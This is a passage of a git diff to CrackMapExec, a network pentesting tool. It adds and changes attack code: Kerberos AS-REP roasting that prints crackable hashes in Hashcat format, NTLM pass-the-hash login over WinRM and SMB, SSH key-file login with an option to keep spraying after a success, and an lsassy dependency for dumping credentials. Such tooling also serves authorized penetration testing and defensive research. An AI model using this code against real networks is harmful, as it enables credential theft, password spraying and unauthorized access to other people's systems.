requestPAC + encodedPacRequest = encoder.encode(pacRequest) + + asReq['pvno'] = 5 + asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) + + asReq['padata'] = noValue + asReq['padata'][0] = noValue + asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) + asReq['padata'][0]['padata-value'] = encodedPacRequest + + reqBody = seq_set(asReq, 'req-body') + + opts = list() + opts.append(constants.KDCOptions.forwardable.value) + opts.append(constants.KDCOptions.renewable.value) + opts.append(constants.KDCOptions.proxiable.value) + reqBody['kdc-options'] = constants.encodeFlags(opts) + + seq_set(reqBody, 'sname', serverName.components_to_asn1) + seq_set(reqBody, 'cname', clientName.components_to_asn1) + + if domain == '': + logger.error('Empty Domain not allowed in Kerberos') + return + + reqBody['realm'] = domain + now = datetime.utcnow() + timedelta(days=1) + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['rtime'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = random.getrandbits(31) + + supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) + + seq_set_iter(reqBody, 'etype', supportedCiphers) + + message = encoder.encode(asReq) + + try: + r = sendReceive(message, domain, self.kdcHost) + except KerberosError as e: + if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: + # RC4 not available, OK, let's ask for newer types + supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), + int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),) + seq_set_iter(reqBody, 'etype', supportedCiphers) + message = encoder.encode(asReq) + r = sendReceive(message, domain, self.kdcHost) + else: + logging.debug(e) + + # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the + # 'Do not require Kerberos preauthentication' set + try: + asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0] + except: + # Most of the times we shouldn't be here, is this a TGT? + asRep = decoder.decode(r, asn1Spec=AS_REP())[0] + else: + # The user doesn't have UF_DONT_REQUIRE_PREAUTH set + logging.debug('User %s doesn\'t have UF_DONT_REQUIRE_PREAUTH set' % userName) + return + + # Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it. + hash_TGT = '$krb5asrep$%d$%s@%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain, + hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(), + hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode()) + return hash_TGT \ No newline at end of file diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index 78384ab2a..cb428edb6 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -38,6 +38,18 @@ smb_share_name = gen_random_string(5).upper() smb_server = None +smb_error_status = [ + "STATUS_ACCOUNT_DISABLED", + "STATUS_ACCOUNT_EXPIRED", + "STATUS_ACCOUNT_RESTRICTION", + "STATUS_INVALID_LOGON_HOURS", + "STATUS_INVALID_WORKSTATION", + "STATUS_LOGON_TYPE_NOT_GRANTED", + "STATUS_PASSWORD_EXPIRED", + "STATUS_PASSWORD_MUST_CHANGE", + "STATUS_ACCESS_DENIED" +] + def requires_smb_server(func): def _decorator(self, *args, **kwargs): global smb_server @@ -90,7 +102,6 @@ def _decorator(self, *args, **kwargs): return wraps(func)(_decorator) - class smb(connection): def __init__(self, args, db, host): @@ -186,7 +197,7 @@ def get_os_arch(self): transport = DCERPCTransportFactory(stringBinding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() - if self._conn.kerberos: + if self.args.kerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() try: @@ -276,13 +287,21 @@ def kerberos_login(self, aesKey, kdcHost): '({})'.format(desc) if self.args.verbose else '')) return False + # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 + if self.signing: + try: + self.conn.logoff() + except: + pass + self.create_conn_obj() + def plaintext_login(self, domain, username, password): try: - self.conn.login(username, password, domain) - self.password = password self.username = username self.domain = domain + self.conn.login(username, password, domain) + self.check_if_admin() self.db.add_credential('plaintext', domain, username, password) @@ -297,17 +316,26 @@ def plaintext_login(self, domain, username, password): self.logger.success(out) if not self.args.continue_on_success: return True + elif self.signing: # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 + try: + self.conn.logoff() + except: + pass + self.create_conn_obj() + except SessionError as e: error, desc = e.getErrorString() self.logger.error(u'{}\\{}:{} {} {}'.format(domain, username, password, error, - '({})'.format(desc) if self.args.verbose else '')) - - if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username) - - return False + '({})'.format(desc) if self.args.verbose else ''), + color='magenta' if error in smb_error_status else 'red') + if error not in smb_error_status: + self.inc_failed_login(username) + return False + if not self.args.continue_on_success: + return True def hash_login(self, domain, username, ntlm_hash): lmhash = '' @@ -320,14 +348,14 @@ def hash_login(self, domain, username, ntlm_hash): nthash = ntlm_hash try: - self.conn.login(username, '', domain, lmhash, nthash) - self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash self.username = username self.domain = domain + self.conn.login(username, '', domain, lmhash, nthash) + self.check_if_admin() self.db.add_credential('hash', domain, username, ntlm_hash) @@ -342,17 +370,27 @@ def hash_login(self, domain, username, ntlm_hash): self.logger.success(out) if not self.args.continue_on_success: return True + # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 + if self.signing: + try: + self.conn.logoff() + except: + pass + self.create_conn_obj() except SessionError as e: error, desc = e.getErrorString() - self.logger.error(u'{}\\{} {} {} {}'.format(domain, + self.logger.error(u'{}\\{}:{} {} {}'.format(domain, username, ntlm_hash, error, - '({})'.format(desc) if self.args.verbose else '')) + '({})'.format(desc) if self.args.verbose else ''), + color='magenta' if error in smb_error_status else 'red') - if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username) - - return False + if error not in smb_error_status: + self.inc_failed_login(username) + return False + if not self.args.continue_on_success: + return True def create_smbv1_conn(self): try: @@ -527,7 +565,9 @@ def shares(self): self.logger.highlight(u'{:<15} {:<15} {}'.format(name, ','.join(perms), remark)) except Exception as e: - self.logger.error('Error enumerating shares: {}'.format(e)) + error, desc = e.getErrorString() + self.logger.error('Error enumerating shares: {}'.format(error), + color='magenta' if error in smb_error_status else 'red') return permissions @@ -552,10 +592,16 @@ def sessions(self): return sessions def disks(self): - disks = get_localdisks(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) - self.logger.success('Enumerated disks') - for disk in disks: - self.logger.highlight(disk.disk) + disks = [] + try: + disks = get_localdisks(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) + self.logger.success('Enumerated disks') + for disk in disks: + self.logger.highlight(disk.disk) + except Exception as e: + error, desc = e.getErrorString() + self.logger.error('Error enumerating disks: {}'.format(error), + color='magenta' if error in smb_error_status else 'red') return disks diff --git a/cme/protocols/smb/mmcexec.py b/cme/protocols/smb/mmcexec.py index 929c3532c..237867ed9 100644 --- a/cme/protocols/smb/mmcexec.py +++ b/cme/protocols/smb/mmcexec.py @@ -31,7 +31,6 @@ from gevent import sleep from cme.helpers.misc import gen_random_string -from impacket import version from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \ VARIANT, VARENUM, DISPATCH_METHOD from impacket.dcerpc.v5.dcomrt import DCOMConnection diff --git a/cme/protocols/smb/passpol.py b/cme/protocols/smb/passpol.py index 817667415..aaf3aaa5f 100644 --- a/cme/protocols/smb/passpol.py +++ b/cme/protocols/smb/passpol.py @@ -1,7 +1,10 @@ #Stolen from https://github.com/Wh1t3Fox/polenum +import logging from impacket.dcerpc.v5.rpcrt import DCERPC_v5 -from impacket.dcerpc.v5 import transport, samr +from impacket.dcerpc.v5 import transport, samr +from impacket.dcerpc.v5.samr import DCERPCSessionError +from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket import ntlm from time import strftime, gmtime @@ -99,14 +102,14 @@ def dump(self): protodef = PassPolDump.KNOWN_PROTOCOLS[protocol] port = protodef[1] except KeyError: - self.logger.debug("Invalid Protocol '{}'".format(protocol)) - self.logger.debug("Trying protocol {}".format(protocol)) + logging.debug("Invalid Protocol '{}'".format(protocol)) + logging.debug("Trying protocol {}".format(protocol)) rpctransport = transport.SMBTransport(self.addr, port, r'\samr', self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos = self.doKerberos) try: self.fetchList(rpctransport) except Exception as e: - self.logger.debug('Protocol failed: {}'.format(e)) + logging.debug('Protocol failed: {}'.format(e)) else: # Got a response. No need for further iterations. self.pretty_print() @@ -180,9 +183,9 @@ def pretty_print(self): 0: 'Domain Refuse Password Change:' } - self.logger.debug('Found domain(s):') + logging.debug('Found domain(s):') for domain in self.__domains: - self.logger.debug('{}'.format(domain['Name'])) + logging.debug('{}'.format(domain['Name'])) self.logger.success("Dumping password info for domain: {}".format(self.__domains[0]['Name'])) diff --git a/cme/protocols/ssh.py b/cme/protocols/ssh.py index 8d886b17c..4a9053c42 100644 --- a/cme/protocols/ssh.py +++ b/cme/protocols/ssh.py @@ -13,8 +13,9 @@ class ssh(connection): def proto_args(parser, std_parser, module_parser): ssh_parser = parser.add_parser('ssh', help="own stuff using SSH", parents=[std_parser, module_parser]) ssh_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2') - #ssh_parser.add_argument("--key-file", type=str, help="Authenticate using the specified private key") + ssh_parser.add_argument("--key-file", type=str, help="Authenticate using the specified private key. Treats the password parameter as the key's passphrase.") ssh_parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)") + ssh_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes") cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands") cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output') @@ -59,14 +60,19 @@ def check_if_admin(self): def plaintext_login(self, username, password): try: - self.conn.connect(self.host, port=self.args.port, username=username, password=password) - self.check_if_admin() + if self.args.key_file: + passwd = password + password = u'{} (keyfile: {})'.format(passwd, self.args.key_file) + self.conn.connect(self.host, port=self.args.port, username=username, passphrase=passwd, key_filename=self.args.key_file, look_for_keys=False, allow_agent=False) + else: + self.conn.connect(self.host, port=self.args.port, username=username, password=password, look_for_keys=False, allow_agent=False) + self.check_if_admin() self.logger.success(u'{}:{} {}'.format(username, password, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) - - return True + if not self.args.continue_on_success: + return True except Exception as e: self.logger.error(u'{}:{} {}'.format(username, password, diff --git a/cme/protocols/winrm.py b/cme/protocols/winrm.py index 6c8a18fc1..bca89cfe9 100644 --- a/cme/protocols/winrm.py +++ b/cme/protocols/winrm.py @@ -60,6 +60,7 @@ def proto_logger(self): 'hostname': 'NONE'}) def enum_host_info(self): + # smb no open, specify the domain if self.args.domain: self.domain = self.args.domain self.logger.extra['hostname'] = self.hostname @@ -74,7 +75,7 @@ def enum_host_info(self): self.domain = smb_conn.getServerDomain() self.hostname = smb_conn.getServerName() - + self.server_os = smb_conn.getServerOS() self.logger.extra['hostname'] = self.hostname try: @@ -92,7 +93,14 @@ def enum_host_info(self): self.domain = self.hostname def print_host_info(self): - self.logger.info(self.endpoint) + if self.args.domain: + self.logger.info(self.endpoint) + else: + self.logger.info(u"{} (name:{}) (domain:{})".format(self.server_os, + self.hostname, + self.domain)) + self.logger.info(self.endpoint) + def create_conn_obj(self): endpoints = [ @@ -140,10 +148,62 @@ def plaintext_login(self, domain, username, password): return True except Exception as e: - self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain, + if "with ntlm" in str(e): + self.logger.error(u'{}\\{}:{}'.format(self.domain, + username, + password)) + else: + self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain, + username, + password, + e)) + + return False + + def hash_login(self, domain, username, ntlm_hash): + try: + from urllib3.connectionpool import log + log.addFilter(SuppressFilter()) + lmhash = '00000000000000000000000000000000:' + nthash = '' + + #This checks to see if we didn't provide the LM Hash + if ntlm_hash.find(':') != -1: + lmhash, nthash = ntlm_hash.split(':') + else: + nthash = ntlm_hash + ntlm_hash = lmhash + nthash + + self.hash = nthash + if lmhash: self.lmhash = lmhash + if nthash: self.nthash = nthash + self.conn = Client(self.host, + auth='ntlm', + username=username, + password=ntlm_hash, + ssl=False) + + # TO DO: right now we're just running the hostname command to make the winrm library auth to the server + # we could just authenticate without running a command :) (probably) + self.conn.execute_ps("hostname") + self.admin_privs = True + self.logger.success(u'{}\\{}:{} {}'.format(self.domain, username, - password, - e)) + self.hash, + highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) + if not self.args.continue_on_success: + return True + + except Exception as e: + if "with ntlm" in str(e): + self.logger.error(u'{}\\{}:{}'.format(self.domain, + username, + self.hash)) + else: + self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain, + username, + self.hash, + e)) return False diff --git a/crackmapexec.spec b/crackmapexec.spec new file mode 100644 index 000000000..f5225fa92 --- /dev/null +++ b/crackmapexec.spec @@ -0,0 +1,33 @@ +# -*- mode: python ; coding: utf-8 -*- + +block_cipher = None + + +a = Analysis(['./cme/crackmapexec.py'], + pathex=['./cme','./cme/thirdparty/pywerview'], + binaries=[], + datas=[('./cme/protocols', 'cme/protocols'),('./cme/thirdparty', 'cme/thirdparty'),('./cme/data', 'cme/data')], + hiddenimports=['cme.protocols.mssql.mssqlexec', 'cme.connection', 'impacket.examples.secretsdump', 'impacket.dcerpc.v5.lsat', 'impacket.dcerpc.v5.transport', 'impacket.dcerpc.v5.lsad', 'cme.servers.smb', 'cme.protocols.smb.wmiexec', 'cme.protocols.smb.atexec', 'cme.protocols.smb.smbexec', 'cme.protocols.smb.mmcexec', 'cme.protocols.smb.smbspider', 'cme.protocols.smb.passpol', 'paramiko', 'pypsrp.client', 'pywerview.cli.helpers', 'impacket.tds', 'impacket.version'], + hookspath=[], + runtime_hooks=[], + excludes=[], + win_no_prefer_redirects=False, + win_private_assemblies=False, + cipher=block_cipher, + noarchive=False) +pyz = PYZ(a.pure, a.zipped_data, + cipher=block_cipher) +exe = EXE(pyz, + a.scripts, + a.binaries, + a.zipfiles, + a.datas, + [], + name='crackmapexec', + debug=False, + bootloader_ignore_signals=False, + strip=False, + upx=True, + upx_exclude=[], + runtime_tmpdir=None, + console=True ) diff --git a/setup.py b/setup.py index 384bab9ad..7c51c9765 100755 --- a/setup.py +++ b/setup.py @@ -3,7 +3,7 @@ from setuptools import setup, find_packages setup(name='crackmapexec', - version='5.0.2dev', + version='5.1.0dev', description='A swiss army knife for pentesting networks', classifiers=[ 'Environment :: Console', @@ -33,7 +33,8 @@ 'paramiko', 'impacket', 'xmltodict', - 'terminaltables' + 'terminaltables', + 'lsassy' ], entry_points={ 'console_scripts': ['crackmapexec=cme.crackmapexec:main', 'cme=cme.crackmapexec:main', 'cmedb=cme.cmedb:main'],